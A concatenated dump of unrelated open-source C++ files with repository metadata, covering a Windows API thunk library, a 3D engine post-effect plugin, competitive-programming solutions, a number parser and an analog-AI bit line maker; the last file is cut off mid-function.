d4b28d34bd05bccae902806f1fcef56ceb6c823f
[ "MIT" ]
null
null
null
src/YY_Thunks.cpp
fengjixuchui/YY-Thunks
d4b28d34bd05bccae902806f1fcef56ceb6c823f
[ "MIT" ]
null
null
null
 #define _YY_APPLY_TO_LATE_BOUND_MODULES(_APPLY) \ _APPLY(ntdll, "ntdll" , USING_UNSAFE_LOAD ) \ _APPLY(kernel32, "kernel32" , USING_UNSAFE_LOAD ) \ _APPLY(psapi, "psapi" , 0 ) \ _APPLY(version, "version" , 0 ) \ _APPLY(advapi32, "advapi32" , 0 ) \ _APPLY(user32, "user32" , 0 ) \ _APPLY(ws2_32, "ws2_32" , 0 ) \ _APPLY(shell32, "shell32" , 0 ) \ _APPLY(shcore, "shcore" , 0 ) \ _APPLY(shlwapi, "shlwapi" , 0 ) \ _APPLY(setupapi, "setupapi" , 0 ) \ _APPLY(api_ms_win_core_winrt_l1_1_0, "api-ms-win-core-winrt-l1-1-0" , 0 ) \ _APPLY(api_ms_win_core_winrt_string_l1_1_0, "api-ms-win-core-winrt-string-l1-1-0", 0 ) \ _APPLY(api_ms_win_core_winrt_error_l1_1_0, "api-ms-win-core-winrt-error-l1-1-0" , 0 ) \ _APPLY(api_ms_win_core_path_l1_1_0, "api-ms-win-core-path-l1-1-0" , 0 ) //全局可能使用到的函数 #define _YY_APPLY_TO_LATE_BOUND_FUNCTIONS(_APPLY) \ _APPLY(NtCreateFile, ntdll ) \ _APPLY(NtClose, ntdll ) \ _APPLY(NtQueryDirectoryFile, ntdll ) \ _APPLY(NtQueryInformationFile, ntdll ) \ _APPLY(NtSetInformationFile, ntdll ) \ _APPLY(RtlNtStatusToDosError, ntdll ) \ _APPLY(RtlDetermineDosPathNameType_U, ntdll ) \ _APPLY(RtlDosPathNameToNtPathName_U, ntdll ) \ _APPLY(RtlDosPathNameToNtPathName_U_WithStatus, ntdll ) \ _APPLY(RtlFreeUnicodeString, ntdll ) \ _APPLY(NtQueryObject, ntdll ) \ _APPLY(NtQueryInformationThread, ntdll ) \ _APPLY(NtQueryInformationProcess, ntdll ) \ _APPLY(NtOpenKeyedEvent, ntdll ) \ _APPLY(NtWaitForKeyedEvent, ntdll ) \ _APPLY(NtReleaseKeyedEvent, ntdll ) \ _APPLY(RtlAdjustPrivilege, ntdll ) \ _APPLY(RtlPcToFileHeader, ntdll ) \ _APPLY(LdrAddRefDll, ntdll ) \ _APPLY(RtlWow64EnableFsRedirectionEx, ntdll ) \ _APPLY(LdrLoadDll, ntdll ) \ _APPLY(RtlDllShutdownInProgress, ntdll ) \ _APPLY(AddDllDirectory, kernel32 ) #include <sdkddkver.h> #ifndef YY_Thunks_Support_Version #define YY_Thunks_Support_Version WDK_NTDDI_VERSION #endif #define _WINSOCKAPI_ #define PSAPI_VERSION 1 #if (YY_Thunks_Support_Version < NTDDI_WIN6) #define INITKNOWNFOLDERS #endif #define _Disallow_YY_KM_Namespace #include "km.h" #include <Shlwapi.h> #include <WinSock2.h> #include <ws2tcpip.h> #include <psapi.h> #include <winnls.h> #include "YY_Thunks.h" #if (YY_Thunks_Support_Version < NTDDI_WS03SP1) #pragma comment(lib, "Advapi32.lib") #endif #if (YY_Thunks_Support_Version < NTDDI_WIN6) #pragma comment(lib, "Shlwapi.lib") #pragma comment(lib, "Ws2_32.lib") #pragma comment(lib, "version.lib") #pragma comment(lib, "ole32.lib") #pragma comment(lib, "shell32.lib") #endif #if (YY_Thunks_Support_Version < NTDDI_WIN7) #pragma comment(lib, "psapi.lib") #endif #if (YY_Thunks_Support_Version >= NTDDI_WINBLUE) #pragma comment(lib, "Shcore.lib") #endif #if (YY_Thunks_Support_Version < NTDDI_WINBLUE) #pragma comment(lib, "Gdi32.lib") #endif //展开函数的所有的 声明 以及 try_get_ 函数 #define __DEFINE_THUNK(_MODULE, _SIZE, _RETURN_, _CONVENTION_, _FUNCTION, ...) \ __APPLY_UNIT_TEST_BOOL(_FUNCTION); \ EXTERN_C _RETURN_ _CONVENTION_ _FUNCTION(__VA_ARGS__); \ static decltype(_FUNCTION)* __cdecl _CRT_CONCATENATE(try_get_, _FUNCTION)() noexcept \ { \ __CHECK_UNIT_TEST_BOOL(_FUNCTION); \ __declspec(allocate(".YYThr$AAA")) static void* _CRT_CONCATENATE(pInit_ ,_FUNCTION) = \ reinterpret_cast<void*>(&_CRT_CONCATENATE(try_get_, _FUNCTION)); \ /*为了避免编译器将 YYThr$AAA 节优化掉*/ \ __foreinclude(_CRT_CONCATENATE(pInit_ ,_FUNCTION)); \ __declspec(allocate(".YYThu$AAB")) static void* _CRT_CONCATENATE(pFun_, _FUNCTION); \ return reinterpret_cast<decltype(_FUNCTION)*>(try_get_function( \ &_CRT_CONCATENATE(pFun_ ,_FUNCTION), \ _CRT_STRINGIZE(_FUNCTION), \ &_CRT_CONCATENATE(try_get_module_, _MODULE))); \ } \ __if_not_exists(_CRT_CONCATENATE(try_get_, _FUNCTION)) #include "src/YY_Thunks_List.hpp" #undef __DEFINE_THUNK namespace YY { namespace Thunks { namespace internal { static DWORD __fastcall NtStatusToDosError( _In_ NTSTATUS Status ) { if (STATUS_TIMEOUT == Status) { /* https://github.com/Chuyu-Team/YY-Thunks/issues/10 用户报告,Windows XP 无法转换 STATUS_TIMEOUT。实际结果也是rubin,因此,特殊处理一下。 */ return ERROR_TIMEOUT; } else if (auto pRtlNtStatusToDosError = try_get_RtlNtStatusToDosError()) { return pRtlNtStatusToDosError(Status); } else { //如果没有RtlNtStatusToDosError就直接设置Status代码吧,反正至少比没有错误代码强 return Status; } } static DWORD __fastcall BaseSetLastNTError( _In_ NTSTATUS Status ) { auto lStatus = NtStatusToDosError(Status); SetLastError(lStatus); return lStatus; } static void __fastcall RaiseStatus(NTSTATUS Status) { RaiseException(Status, EXCEPTION_NONCONTINUABLE, 0, NULL); } static LARGE_INTEGER* __fastcall BaseFormatTimeOut(LARGE_INTEGER* Timeout, DWORD dwMilliseconds) { if (dwMilliseconds == INFINITE) return nullptr; Timeout->QuadPart = -10000ll * dwMilliseconds; return Timeout; } static LSTATUS __fastcall Basep8BitStringToStaticUnicodeString(UNICODE_STRING* pDst, LPCSTR Src) { const UINT CodePage = AreFileApisANSI() ? CP_ACP : CP_OEMCP; auto cchDst = MultiByteToWideChar(CodePage, MB_ERR_INVALID_CHARS, Src, -1, pDst->Buffer, pDst->MaximumLength / sizeof(wchar_t)); if (cchDst == 0) { return GetLastError(); } pDst->Length = cchDst * sizeof(wchar_t); return ERROR_SUCCESS; } static BOOL __fastcall BasepGetVolumeGUIDFromNTName(const UNICODE_STRING* NtName, wchar_t szVolumeGUID[MAX_PATH]) { #define __szVolumeMountPointPrefix__ L"\\\\?\\GLOBALROOT" //一个设备名称 512 长度够多了吧? wchar_t szVolumeMountPoint[512]; //检查缓冲区是否充足 auto cbBufferNeed = sizeof(__szVolumeMountPointPrefix__) + NtName->Length; if (cbBufferNeed > sizeof(szVolumeMountPoint)) { SetLastError(ERROR_NOT_ENOUGH_MEMORY); return FALSE; } memcpy(szVolumeMountPoint, __szVolumeMountPointPrefix__, sizeof(__szVolumeMountPointPrefix__) - sizeof(__szVolumeMountPointPrefix__[0])); memcpy((char*)szVolumeMountPoint + sizeof(__szVolumeMountPointPrefix__) - sizeof(__szVolumeMountPointPrefix__[0]), NtName->Buffer, NtName->Length); szVolumeMountPoint[cbBufferNeed / 2 - 1] = L'\0'; return GetVolumeNameForVolumeMountPointW(szVolumeMountPoint, szVolumeGUID, MAX_PATH); #undef __szVolumeMountPointPrefix__ } static BOOL __fastcall BasepGetVolumeDosLetterNameFromNTName(const UNICODE_STRING* NtName, wchar_t szVolumeDosLetter[MAX_PATH]) { wchar_t szVolumeName[MAX_PATH]; if (!BasepGetVolumeGUIDFromNTName(NtName, szVolumeName)) { return FALSE; } DWORD cchVolumePathName = 0; if (!GetVolumePathNamesForVolumeNameW(szVolumeName, szVolumeDosLetter + 4, MAX_PATH - 4, &cchVolumePathName)) { return FALSE; } szVolumeDosLetter[0] = L'\\'; szVolumeDosLetter[1] = L'\\'; szVolumeDosLetter[2] = L'?'; szVolumeDosLetter[3] = L'\\'; return TRUE; } } }//namespace Thunks } //namespace YY //导入实际的实现 #define YY_Thunks_Implemented #define __DEFINE_THUNK(_MODULE, _SIZE, _RETURN_, _CONVENTION_, _FUNCTION, ...) \ _LCRT_DEFINE_IAT_SYMBOL(_FUNCTION, _SIZE); \ EXTERN_C _RETURN_ _CONVENTION_ _FUNCTION(__VA_ARGS__) #include "YY_Thunks_List.hpp" #undef __DEFINE_THUNK #undef YY_Thunks_Implemented
41.579767
151
0.500842
fengjixuchui
59096f00721334d343b226b9c528f1098e159d6c
4,924
cpp
C++
source/Plugins/PostEffects/LightStreaksPostEffect/LightStreaksPostEffect.cpp
DragonJoker/Castor3D
ee0b02eeda70cd235a224be306539850e32195f6
[ "MIT" ]
245
2015-10-29T14:31:45.000Z
2022-03-31T13:04:45.000Z
source/Plugins/PostEffects/LightStreaksPostEffect/LightStreaksPostEffect.cpp
DragonJoker/Castor3D
ee0b02eeda70cd235a224be306539850e32195f6
[ "MIT" ]
64
2016-03-11T19:45:05.000Z
2022-03-31T23:58:33.000Z
source/Plugins/PostEffects/LightStreaksPostEffect/LightStreaksPostEffect.cpp
DragonJoker/Castor3D
ee0b02eeda70cd235a224be306539850e32195f6
[ "MIT" ]
11
2018-05-24T09:07:43.000Z
2022-03-21T21:05:20.000Z
#include "LightStreaksPostEffect/LightStreaksPostEffect.hpp" #include <Castor3D/Engine.hpp> #include <Castor3D/Buffer/GpuBuffer.hpp> #include <Castor3D/Model/Vertex.hpp> #include <Castor3D/Material/Texture/Sampler.hpp> #include <Castor3D/Material/Texture/TextureLayout.hpp> #include <Castor3D/Miscellaneous/Parameter.hpp> #include <Castor3D/Render/RenderSystem.hpp> #include <Castor3D/Render/RenderTarget.hpp> #include <Castor3D/Shader/Program.hpp> #include <Castor3D/Shader/Shaders/GlslUtils.hpp> #include <CastorUtils/Design/ResourceCache.hpp> #include <CastorUtils/Graphics/Image.hpp> #include <ashespp/Buffer/VertexBuffer.hpp> #include <ashespp/Image/Image.hpp> #include <ashespp/Image/ImageView.hpp> #include <ashespp/RenderPass/RenderPass.hpp> #include <ashespp/RenderPass/RenderPassCreateInfo.hpp> #include <ShaderWriter/Source.hpp> #include <RenderGraph/RunnablePasses/RenderQuad.hpp> #include <numeric> namespace light_streaks { castor::String const PostEffect::Type = cuT( "light_streaks" ); castor::String const PostEffect::Name = cuT( "LightStreaks PostEffect" ); PostEffect::PostEffect( castor3d::RenderTarget & renderTarget , castor3d::RenderSystem & renderSystem , castor3d::Parameters const & params ) : castor3d::PostEffect{ PostEffect::Type , PostEffect::Name , renderTarget , renderSystem , params , Count + 2u } , m_kawaseUbo{ renderSystem.getRenderDevice() } { } castor3d::PostEffectSPtr PostEffect::create( castor3d::RenderTarget & renderTarget , castor3d::RenderSystem & renderSystem , castor3d::Parameters const & params ) { return std::make_shared< PostEffect >( renderTarget , renderSystem , params ); } void PostEffect::accept( castor3d::PipelineVisitorBase & visitor ) { m_hiPass->accept( visitor ); m_kawasePass->accept( visitor ); m_combinePass->accept( visitor ); for ( auto & view : m_hiImage.subViewsId ) { visitor.visit( "PostFX: LS - Hi " + std::to_string( view.data->info.subresourceRange.baseArrayLayer ) , view , m_renderTarget.getGraph().getFinalLayout( view ).layout , castor3d::TextureFactors{}.invert( true ) ); } for ( auto & view : m_kawaseImage.subViewsId ) { visitor.visit( "PostFX: LS - Kawase " + std::to_string( view.data->info.subresourceRange.baseArrayLayer ) , view , m_renderTarget.getGraph().getFinalLayout( view ).layout , castor3d::TextureFactors{}.invert( true ) ); } } crg::ImageViewId const * PostEffect::doInitialise( castor3d::RenderDevice const & device , crg::FramePass const & previousPass ) { auto extent = castor3d::getSafeBandedExtent3D( m_renderTarget.getSize() ); auto & graph = m_renderTarget.getGraph(); auto size = castor3d::makeExtent2D( extent ); size.width >>= 2; size.height >>= 2; uint32_t index = 0u; static float constexpr factor = 0.2f; static std::array< castor::Point2f, Count > directions { { castor::Point2f{ factor, factor }, castor::Point2f{ -factor, -factor }, castor::Point2f{ -factor, factor }, castor::Point2f{ factor, -factor } } }; m_hiImage = { device , graph.getHandler() , "LSHi" , 0u , VkExtent3D{ size.width, size.height, 1u } , Count + 1u , 1u , m_target->data->info.format , ( VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT | VK_IMAGE_USAGE_SAMPLED_BIT | VK_IMAGE_USAGE_TRANSFER_DST_BIT | VK_IMAGE_USAGE_TRANSFER_SRC_BIT ) }; m_kawaseImage = { device , graph.getHandler() , "LSKaw" , 0u , VkExtent3D{ size.width, size.height, 1u } , Count , 1u , m_target->data->info.format , ( VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT | VK_IMAGE_USAGE_SAMPLED_BIT | VK_IMAGE_USAGE_TRANSFER_DST_BIT | VK_IMAGE_USAGE_TRANSFER_SRC_BIT ) }; for ( auto i = 0u; i < Count; ++i ) { for ( uint32_t j = 0u; j < 3u; ++j ) { m_kawaseUbo.update( index , size , directions[i] , j ); ++index; } } m_hiPass = std::make_unique< HiPass >( graph , previousPass , device , *m_target , m_hiImage.subViewsId , size , &isEnabled() ); m_kawasePass = std::make_unique< KawasePass >( graph , m_hiPass->getLastPass() , device , m_hiImage.subViewsId , m_kawaseImage.subViewsId , m_kawaseUbo , size , &isEnabled() ); m_combinePass = std::make_unique< CombinePass >( graph , m_kawasePass->getLastPass() , device , *m_target , m_kawaseImage.subViewsId , castor3d::makeExtent2D( extent ) , &isEnabled() ); m_pass = &m_combinePass->getPass(); m_hiImage.create(); m_kawaseImage.create(); return &m_combinePass->getResult(); } void PostEffect::doCleanup( castor3d::RenderDevice const & device ) { m_combinePass.reset(); m_kawasePass.reset(); m_hiPass.reset(); } bool PostEffect::doWriteInto( castor::StringStream & file, castor::String const & tabs ) { file << ( tabs + cuT( "postfx \"" ) + Type + cuT( "\"" ) ); return true; } }
27.662921
108
0.693745
DragonJoker
590abc5da91904c53ccf38e68a0cd9edf113d02f
854
cpp
C++
0400/00/408a.cpp
actium/cf
d7be128c3a9adb014a231a399f1c5f19e1ab2a38
[ "Unlicense" ]
1
2020-07-03T15:55:52.000Z
2020-07-03T15:55:52.000Z
0400/00/408a.cpp
actium/cf
d7be128c3a9adb014a231a399f1c5f19e1ab2a38
[ "Unlicense" ]
null
null
null
0400/00/408a.cpp
actium/cf
d7be128c3a9adb014a231a399f1c5f19e1ab2a38
[ "Unlicense" ]
3
2020-10-01T14:55:28.000Z
2021-07-11T11:33:58.000Z
#include <iostream> #include <numeric> #include <vector> #include <climits> template <typename T> std::istream& operator >>(std::istream& input, std::vector<T>& v) { for (T& a : v) input >> a; return input; } void answer(unsigned v) { std::cout << v << '\n'; } void solve(const std::vector<std::vector<unsigned>>& m) { const size_t n = m.size(); unsigned min = INT_MAX; for (const auto& x : m) { const unsigned k = x.size(); min = std::min(min, k * 15 + std::accumulate(x.cbegin(), x.cend(), 0u) * 5); } answer(min); } int main() { size_t n; std::cin >> n; std::vector<size_t> k(n); std::cin >> k; std::vector<std::vector<unsigned>> m(n); for (size_t i = 0; i < n; ++i) { m[i].resize(k[i]); std::cin >> m[i]; } solve(m); return 0; }
16.113208
84
0.523419
actium
590b34e3e8449f330810b3275f24a2899f6ba3fe
535
cc
C++
data-structure/pb_ds.cc
ac-voyage/template
84d7db1db0e79f50d641d84d4aaa17442b0653f6
[ "MIT" ]
null
null
null
data-structure/pb_ds.cc
ac-voyage/template
84d7db1db0e79f50d641d84d4aaa17442b0653f6
[ "MIT" ]
null
null
null
data-structure/pb_ds.cc
ac-voyage/template
84d7db1db0e79f50d641d84d4aaa17442b0653f6
[ "MIT" ]
1
2017-04-20T09:47:09.000Z
2017-04-20T09:47:09.000Z
/* Red-Black tree via pb_ds. */ #include<bits/stdc++.h> #include<ext/pb_ds/assoc_container.hpp> #include<ext/pb_ds/tree_policy.hpp> using namespace __gnu_pbds; using namespace std; template <typename T> using ordered_set = tree<T, null_type, less<T>, rb_tree_tag, tree_order_statistics_node_update>; int main(){ ordered_set<int> s; s.insert(1); s.insert(3); cout << s.order_of_key(2) << endl; // the number of elements in the s less than 2 cout << *s.find_by_order(0) << endl; // print the 0-th smallest number in s(0-based) }
31.470588
96
0.721495
ac-voyage
590da069353fcffec5b4f8c224cd7882911076ff
13,609
cpp
C++
extras/DemFiles/src/GridLib/ParseNumber.cpp
jebreimo/GridLib
a90a5299512eb01623881c62a1e5f73b9f2c2513
[ "BSD-2-Clause" ]
null
null
null
extras/DemFiles/src/GridLib/ParseNumber.cpp
jebreimo/GridLib
a90a5299512eb01623881c62a1e5f73b9f2c2513
[ "BSD-2-Clause" ]
null
null
null
extras/DemFiles/src/GridLib/ParseNumber.cpp
jebreimo/GridLib
a90a5299512eb01623881c62a1e5f73b9f2c2513
[ "BSD-2-Clause" ]
null
null
null
//**************************************************************************** // Copyright © 2017 Jan Erik Breimo. All rights reserved. // Created by Jan Erik Breimo on 23.02.2017. // // This file is distributed under the BSD License. // License text is included with the source distribution. //**************************************************************************** #include "ParseNumber.hpp" #include <cmath> #include <cstdint> #include <limits> #include <optional> #include <type_traits> namespace GridLib { namespace { template <typename IntT> IntT fromDigit(char c) { if ('0' <= c && c <= '9') return IntT(c - '0'); auto u = uint8_t(c); u &= 0xDFu; if ('A' <= u && u <= 'Z') return IntT(10 + u - 'A'); return std::numeric_limits<IntT>::max(); } template <typename T, T Base> constexpr T maxPrecedingValueNegative() { if constexpr (std::is_signed<T>::value) { using U = typename std::make_unsigned<T>::type; return T((U(1) << (sizeof(T) * 8 - 1)) / U(Base)); } else { return T(0); } } template <typename T, T Base> constexpr T maxFinalDigitNegative() { if constexpr (std::is_signed<T>::value) { using U = typename std::make_unsigned<T>::type; return T((U(1) << (sizeof(T) * 8 - 1)) % U(Base)); } else { return T(0); } } template <typename T, T Base> constexpr T maxPrecedingValuePositive() { if constexpr (std::is_signed<T>::value) { using U = typename std::make_unsigned<T>::type; return T(U(~(U(1) << (sizeof(T) * 8 - 1))) / U(Base)); } else { return T(~T(0)) / Base; } } template <typename T, T Base> constexpr T maxFinalDigitPositive() { if constexpr (std::is_signed<T>::value) { using U = typename std::make_unsigned<T>::type; return T(U(~(U(1) << (sizeof(T) * 8 - 1))) % U(Base)); } else { return T(~T(0)) % Base; } } template <typename IntT, IntT Base> std::optional<IntT> parsePositiveIntegerImpl(std::string_view str) { if (str.empty()) return {}; IntT value = fromDigit<IntT>(str[0]); if (value >= Base) return {}; for (size_t i = 1; i < str.size(); ++i) { auto digit = fromDigit<IntT>(str[i]); if (digit < Base && (value < maxPrecedingValuePositive<IntT, Base>() || (value == maxPrecedingValuePositive<IntT, Base>() && digit <= maxFinalDigitPositive<IntT, Base>()))) { value *= Base; value += digit; } else if (str[i] != '_' || i == str.size() - 1 || str[i - 1] == '_') { return {}; } } return value; } template <typename IntT, IntT Base> std::optional<IntT> parseNegativeIntegerImpl(std::string_view str) { if constexpr (std::is_signed<IntT>::value) { if (str.empty()) return {}; IntT value = fromDigit<IntT>(str[0]); if (value >= Base) return {}; for (size_t i = 1; i < str.size(); ++i) { auto digit = fromDigit<IntT>(str[i]); if (digit < Base && (value < maxPrecedingValueNegative<IntT, Base>() || (value == maxPrecedingValueNegative<IntT, Base>() && digit <= maxFinalDigitNegative<IntT, Base>()))) { value *= Base; value += digit; } else if (str[i] != '_' || i == str.size() - 1 || str[i - 1] == '_') { return {}; } } return IntT(-value); } else { if (str.empty()) return {}; for (char c : str) { auto digit = fromDigit<IntT>(c); if (digit > 0) return {}; } return IntT(0); } } template <typename IntT> std::optional<IntT> parseInteger(std::string_view str, bool detectBase) { static_assert(std::is_integral<IntT>()); if (str.empty()) return {}; bool positive = true; if (str[0] == '-') { positive = false; str = str.substr(1); } else if (str[0] == '+') { str = str.substr(1); } if (str.empty()) return {}; if (str[0] == '0' && str.size() >= 3 && detectBase) { auto str2 = str.substr(2); switch (uint8_t(str[1]) | 0x20u) { case 'b': return positive ? parsePositiveIntegerImpl<IntT, 2>(str2) : parseNegativeIntegerImpl<IntT, 2>(str2); case 'o': return positive ? parsePositiveIntegerImpl<IntT, 8>(str2) : parseNegativeIntegerImpl<IntT, 8>(str2); case 'x': return positive ? parsePositiveIntegerImpl<IntT, 16>(str2) : parseNegativeIntegerImpl<IntT, 16>(str2); default: break; } } if ('0' <= str[0] && str[0] <= '9') { return positive ? parsePositiveIntegerImpl<IntT, 10>(str) : parseNegativeIntegerImpl<IntT, 10>(str); } if (str == "false" || str == "null") return IntT(0); if (str == "true") return IntT(1); return {}; } template <typename T> bool parseImpl(std::string_view str, T& value, bool detectBase) { auto parsedValue = parseInteger<T>(str, detectBase); if (parsedValue) { value = *parsedValue; return true; } return false; } } bool parse(std::string_view str, char& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, int8_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, int16_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, int32_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, int64_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, uint8_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, uint16_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, uint32_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } bool parse(std::string_view str, uint64_t& value, bool detectBase) { return parseImpl(str, value, detectBase); } namespace { int getDigit(char c) { return int(uint8_t(c) ^ 0x30u); } template <typename T> std::optional<T> parseFloatingPoint(std::string_view str) { if (str.empty()) return {}; size_t i = 0; // Get the sign of the number bool negative = false; if (str[0] == '-') { negative = true; if (++i == str.size()) return {}; } else if (str[0] == '+') { if (++i == str.size()) return {}; } // Get the integer value auto value = T(getDigit(str[i])); if (value > 9) { if (str == "Infinity" || str == "null" || str == "+Infinity") return std::numeric_limits<T>::infinity(); if (str == "-Infinity") return -std::numeric_limits<T>::infinity(); if (str == "NaN") return std::numeric_limits<T>::quiet_NaN(); return {}; } bool underscore = false; for (++i; i < str.size(); ++i) { auto digit = getDigit(str[i]); if (digit <= 9) { value *= 10; value += digit; underscore = false; } else if (str[i] != '_' || underscore) { break; } else { underscore = true; } } if (underscore) return {}; if (i == str.size()) return !negative ? value : -value; // Get the fraction underscore = true; // Makes underscore after point illegal. int decimals = 0; T fraction = {}; if (str[i] == '.') { for (++i; i < str.size(); ++i) { auto digit = getDigit(str[i]); if (digit <= 9) { fraction *= 10; fraction += digit; underscore = false; ++decimals; } else if (str[i] != '_' || underscore) { break; } else { underscore = true; } } } // Get the exponent int exponent = 0; if (i != str.size()) { // Accept both e/E and d/D (FORTRAN) as exponent character. if ((uint8_t(str[i]) & 0xDEu) != 'D') return {}; if (++i == str.size()) return {}; bool negativeExponent = false; if (str[i] == '-') { negativeExponent = true; if (++i == str.size()) return {}; } else if (str[i] == '+') { if (++i == str.size()) return {}; } exponent += getDigit(str[i]); if (exponent > 9) return {}; for (++i; i != str.size(); ++i) { auto digit = getDigit(str[i]); if (digit <= 9) { exponent *= 10; exponent += digit; underscore = false; } else if (str[i] != '_' || underscore) { return {}; } else { underscore = true; } if (exponent > std::numeric_limits<T>::max_exponent10) return {}; } if (negativeExponent) exponent = -exponent; } if (exponent) value *= pow(T(10), exponent); if (fraction != 0) value += fraction * pow(T(10), exponent - decimals); // Add the sign if (negative) value = -value; return value; } template <typename T> bool parseImpl(std::string_view str, T& value) { if (auto parsedValue = parseFloatingPoint<T>(str)) { value = *parsedValue; return true; } return false; } } bool parse(std::string_view str, float& value) { return parseImpl(str, value); } bool parse(std::string_view str, double& value) { return parseImpl(str, value); } bool parse(std::string_view str, long double& value) { return parseImpl(str, value); } }
29.975771
82
0.384525
jebreimo
590df6c3e2eb81be2786bc1f393a8cfa30a12c0d
7,052
cpp
C++
src/rpucuda/dense_bit_line_maker.cpp
filemaster/aihwkit
473eda8c3c89f49acdfc2da9bd03b27e22e13b1a
[ "Apache-2.0" ]
null
null
null
src/rpucuda/dense_bit_line_maker.cpp
filemaster/aihwkit
473eda8c3c89f49acdfc2da9bd03b27e22e13b1a
[ "Apache-2.0" ]
null
null
null
src/rpucuda/dense_bit_line_maker.cpp
filemaster/aihwkit
473eda8c3c89f49acdfc2da9bd03b27e22e13b1a
[ "Apache-2.0" ]
null
null
null
/** * (C) Copyright 2020 IBM. All Rights Reserved. * * This code is licensed under the Apache License, Version 2.0. You may * obtain a copy of this license in the LICENSE.txt file in the root directory * of this source tree or at http://www.apache.org/licenses/LICENSE-2.0. * * Any modifications or derivative works of this code must retain this * copyright notice, and modified files need to carry a notice indicating * that they have been altered from the originals. */ #include "dense_bit_line_maker.h" #include "rpu_pulsed_device.h" #include "utility_functions.h" namespace RPU { // init and memory template <typename T> void DenseBitLineMaker<T>::initialize(int x_size, int d_size) { if (x_size != x_size_ || d_size != d_size_ || !containers_allocated_) { x_size_ = x_size; d_size_ = d_size; allocateContainers(); } } template <typename T> void DenseBitLineMaker<T>::allocateContainers() { freeContainers(); rw_rng_ = make_unique<RealWorldRNG<T>>(0); x_counts_ = new int[x_size_]; d_counts_ = new int[d_size_]; x_values_ = new T[x_size_]; d_values_ = new T[d_size_]; coincidences_ = new int[d_size_ * x_size_]; containers_allocated_ = true; } template <typename T> void DenseBitLineMaker<T>::freeContainers() { if (containers_allocated_) { delete[] d_counts_; delete[] x_counts_; delete[] d_values_; delete[] x_values_; delete[] coincidences_; d_counts_ = nullptr; x_counts_ = nullptr; d_values_ = nullptr; x_values_ = nullptr; coincidences_ = nullptr; rw_rng_ = nullptr; containers_allocated_ = false; } } // ctor template <typename T> DenseBitLineMaker<T>::DenseBitLineMaker(int x_size, int d_size) : x_size_(x_size), d_size_(d_size), containers_allocated_(false) {} // dtor template <typename T> DenseBitLineMaker<T>::~DenseBitLineMaker() { freeContainers(); } // copy construcutor template <typename T> DenseBitLineMaker<T>::DenseBitLineMaker(const DenseBitLineMaker<T> &other) { x_size_ = other.x_size_; d_size_ = other.d_size_; if (other.containers_allocated_) { initialize(other.x_size_, other.d_size_); for (int k = 0; k < d_size_; ++k) { d_counts_[k] = other.d_counts_[k]; d_values_[k] = other.d_values_[k]; } for (int k = 0; k < x_size_; ++k) { x_counts_[k] = other.x_counts_[k]; x_values_[k] = other.x_values_[k]; } for (int k = 0; k < d_size_ * x_size_; ++k) { coincidences_[k] = other.coincidences_[k]; } } } // copy assignment template <typename T> DenseBitLineMaker<T> &DenseBitLineMaker<T>::operator=(const DenseBitLineMaker<T> &other) { DenseBitLineMaker<T> tmp(other); swap(*this, tmp); return *this; } // move constructor template <typename T> DenseBitLineMaker<T>::DenseBitLineMaker(DenseBitLineMaker<T> &&other) { *this = std::move(other); } // move assignment template <typename T> DenseBitLineMaker<T> &DenseBitLineMaker<T>::operator=(DenseBitLineMaker<T> &&other) { // pointers d_counts_ = other.d_counts_; x_counts_ = other.x_counts_; d_values_ = other.d_values_; x_values_ = other.x_values_; coincidences_ = other.coincidences_; // set pointers to null other.d_counts_ = nullptr; other.x_counts_ = nullptr; other.d_values_ = nullptr; other.x_values_ = nullptr; other.coincidences_ = nullptr; // other values x_size_ = other.x_size_; d_size_ = other.d_size_; rw_rng_ = std::move(other.rw_rng_); containers_allocated_ = other.containers_allocated_; return *this; } /**************************************************************************************/ /* Take the mean of the probability as counts. No variation in the count number. */ template <typename T> inline void DenseBitLineMaker<T>::generateCountsMean( int *counts, const T *v, const int v_inc, const int v_size, const T p, RNG<T> *rng, const int BL, const T res, const bool sto_round, const T lr) { int j_v = 0; for (int j = 0; j < v_size; j++) { T v_value = lr < 0 ? -v[j_v] : v[j_v]; j_v += v_inc; if (v_value == 0) { counts[j] = 0; continue; } T pp = getDiscretizedValue((T)fabs(v_value) * p, res, sto_round, *rng); int ntimes = (int)MAX(MIN(RPU_ROUNDFUN(BL * pp), BL), 0); counts[j] = (v_value >= 0) ? ntimes : -ntimes; } } /** generates coincidences by just multiplying the respective count prob. no random fluctuations. Coincidences might be pos of negative, depending on the direction of update**/ template <typename T> void DenseBitLineMaker<T>::generateCoincidences( int *coincidences, const int *x_counts, const int x_size, const int *d_counts, const int d_size, const int BL) { T bl = (T)BL; int idx = 0; for (int i = 0; i < d_size; ++i) { T dc = (T)d_counts[i]; if (dc != 0.0) { dc /= bl; PRAGMA_SIMD for (int j = 0; j < x_size; ++j) { coincidences[idx++] = (int)RPU_ROUNDFUN(dc * x_counts[j]); } } else { // need to set to zero PRAGMA_SIMD for (int j = 0; j < x_size; ++j) { coincidences[idx++] = 0; } } } } // makeCounts template <typename T> int *DenseBitLineMaker<T>::makeCoincidences( const T *x_in, const int x_inc, const T *d_in, const int d_inc, RNG<T> *rng, const T lr, const T dw_min, const PulsedUpdateMetaParameter<T> &up) { T A = 0; T B = 0; int BL = 0; if (up.update_bl_management || up.update_management) { T x_abs_max = Find_Absolute_Max<T>(x_in, x_size_, x_inc); T d_abs_max = Find_Absolute_Max<T>(d_in, d_size_, d_inc); up.performUpdateManagement(BL, A, B, up.desired_BL, x_abs_max, d_abs_max, lr, dw_min); } else { up.calculateBlAB(BL, A, B, lr, dw_min); } if (!containers_allocated_) { initialize(x_size_, d_size_); } switch (up.pulse_type) { case PulseType::MeanCount: // x counts generateCountsMean(x_counts_, x_in, x_inc, x_size_, B, rng, BL, up.res, up.sto_round, lr); // d counts generateCountsMean(d_counts_, d_in, d_inc, d_size_, A, rng, BL, up.res, up.sto_round, lr); generateCoincidences(coincidences_, x_counts_, x_size_, d_counts_, d_size_, BL); break; default: 